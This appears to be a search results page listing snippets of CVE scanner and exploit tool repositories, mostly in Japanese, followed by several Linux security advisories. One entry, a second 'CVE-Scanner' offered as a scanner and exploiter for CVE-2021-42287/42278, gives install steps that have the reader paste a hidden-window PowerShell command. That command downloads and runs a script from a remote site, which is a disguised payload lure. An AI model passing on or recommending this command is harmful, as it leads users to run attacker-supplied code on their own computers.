16 matches found
fleet-cve-scanner
fleet-cve-scanner RMM管理下のフリート向けのオープンソース、単一スクリプトのCVEスキャナー。純粋なPowerShell 7で、エージェント不要、アプライアンス不要、ライセンス料無料。 管理下のすべてのエンドポイント上のすべてのソフトウェアに対して、1つの質問に答えます:インストールされているバージョンが脆弱であることが知られているか、そしてその緊急度はどの程度か? — RMMのソフトウェアインベントリを、無料で信頼できるセキュリティフィードと結合することで実現します: NIST NVD — 既知のCVE + 影響を受けるバージョン範囲 CISA KEV —...
CVE-2024-6387
OpenSSH CVE Scanner OpenSSH CVE Scannerは、複数のSSHターゲットをOpenSSHバージョンに基づいて脆弱性スキャンするためのPythonスクリプトです。スレッドを使用した並行スキャンを実現し、色付き出力によるログ機能を統合することで、視認性を向上させています。 特徴 マルチスレッドスキャン: スレッドを使用して複数のターゲットを同時にスキャンし、効率を向上させます。 CVE脆弱性検出: 事前定義されたCVE脆弱性リストに対してSSHバージョンをチェックし、バージョンが脆弱かどうかを判定します。 ログと出力:...
nGixshell
nGixShell は nginx の CVE スキャナー兼 RCE エクスプロイトフレームワークです。CVE-2026-42945 (F5/NVD による CVSS 3.1 8.1 HIGH )— ngxhttprewritemodule におけるヒープバッファオーバーフロー — の概念実証と、64 件の nginx CVE をカバーするスキャナーを搭載しています。自動 HTTP プローブ、フィンガープリンティング、WAF 検出/バイパス、Web セキュリティ監査、レポート生成を備えています。 外部依存ゼロ。Pure Python 3 標準ライブラリのみ。...
vamp-forticheck
vamp-forticheck マルチベンダーエッジデバイスCVEスキャナー — VampSecure Labs 概要 vamp-forticheck は、7つの主要なネットワークセキュリティベンダーにまたがるCVE脆弱性を検出する、非同期かつ非破壊的なセキュリティスキャナーです。構造化された3フェーズの分析を実行します: 1. パッシブ検出 — 認証をトリガーすることなく、HTTPレスポンスヘッダー、バナー、ログインページの痕跡からベンダーとファームウェアバージョンのフィンガープリントを特定します。 2. セミアクティブCVEプローブ —...
s4e-cve-scanner
Latest-CVE-Scanner このAPIを使用すると、最新のCommon Vulnerabilities and Exposures(CVE)をスキャンできます。 このコードはSecurity For Everyoneユーザー向けに作成されています。無料スキャンは https://securityforeveryone.com/user/register で登録できます。 始める前に、以下の点を理解しておいてください。 1...
Symfony-CVE-Scanner-PoC-
Symfony Vulnerability Scanner インターネットに公開された Symfony アプリケーションにおける複数の既知の脆弱性(CVE)を検出するための自動スキャンツール。 m10sec によって開発されました。 特徴 🔍 Symfony の複数の脆弱性を検出 : Symfony の脆弱性の検証 ✅ 実際の悪用の検証(例:/etc/passwd の読み取り) 🔀 個別または全体のスキャンオプション 💻 CRLF インジェクションのフィルターを回避するための socket の使用 🧩 モジュール式で拡張が容易 🧪 受動的および能動的検出 要件 Python 3.7 以上...
CVE-Scanner
CVE-Scanner 🔍 CVE-Scannerは、CVE-2021-42287、CVE-2021-42278、およびその他のセキュリティ問題に関連する脆弱性をスキャンし、悪用するために設計されたツールです。このプロジェクトは、セキュリティ専門家や研究者に、システムのリスクを特定し軽減するための簡単な方法を提供することを目的としています。 目次 機能 インストール 使い方 対応CVE コントリビューション ライセンス 連絡先 機能 CVEスキャン :アプリケーションの脆弱性を迅速に特定します。 悪用ツール :特定のCVEに対するエクスプロイトを実行し、システムの防御力をテストします。...
wordpress-cve-scanner
WordPress CVE Scanner Scan your WordPress core, themes and plugins for known CVEs from the command line. Open source, auditable, privacy-first — powered by the ValtersIT CVE API. Part of the ValtersIT platform — CVE & Threat-IP data you can query or run yourself. Explore both API and scanners:...
cve-scanner
OpenClaw 的 CVE 扫描器 版本: 1.0.0 作者: Simon(自主幕僚长) 许可证: MIT 发布时间: 2026 年 3 月 22 日 类别: 安全、工具 摘要 适用于 OpenClaw 的零依赖 CVE 扫描器。对照 522+ 个已知漏洞检查您的版本,推荐更新,显示近期 HIGH 严重级别的 CVE。100% 本地运行,零外部调用,安全优先设计。 存在原因: OpenClaw 安全危机(2026 年 3 月)——发现 522+ 个 CVE,每周持续披露。此技能帮助您保持安全。 功能 ✅ 版本检查 — 检测您的 OpenClaw 版本 ✅ 漏洞数据库 — 跟踪 522+...
CVE-Scanner
CVE-Scanner CVE-2021-42287/CVE-2021-42278/その他 スキャナー & エクスプロイター。 インストール 1. WIN + R キーを押します 2. 以下のコードをコピーして貼り付け、Enterキーを押します powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC を再起動します 使い方 1. CMD を開きます 2. fexkex IP FOR SCAN...
CentOS 7 : qemu-kvm (CESA-2019:1178) (MDSUM/RIDL) (MFBDS/RIDL/ZombieLoad) (MLPDS/RIDL) (MSBDS/Fallout)
An update for qemu-kvm is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from...
RHEL 7 : freeradius (RHSA-2017:2389)
The remote Redhat Enterprise Linux 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2017:2389 advisory. FreeRADIUS is a high-performance and highly configurable free Remote Authentication Dial In User Service RADIUS server, designed to allow...
CentOS 6 : wireshark (CESA-2017:0631)
An update for wireshark is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from...
Amazon Linux AMI : perl-libwww-perl (ALAS-2011-17)
The Net::HTTPS module in libwww-perl LWP before 6.00, as used in WWW::Mechanize, LWP::UserAgent, and other products, when running in environments that do not set the If-SSL-Cert-Subject header, does not enable full validation of SSL certificates by default, which allows remote attackers to spoof...
Amazon Linux AMI : php (ALAS-2011-07)
The MITRE CVE database describes these CVEs as : Revert isa behavior to php = 5.3.6 and add a new new option allowstring for the new behavior accept string and raise autoload if needed Use-after-free vulnerability in the substrreplace function in PHP 5.3.6 and earlier allows context-dependent...
openSUSE Security Update : flash-player (openSUSE-SU-2010:0321-1)
This Flash Player update fixes multiple critical security vulnerabilities which allow an attacker to remotely execute arbitrary code or to cause a denial of service. The following CVE numbers have been assigned : CVE-2008-4546, CVE-2009-3793, CVE-2010-1297, CVE-2010-2160, CVE-2010-2161,...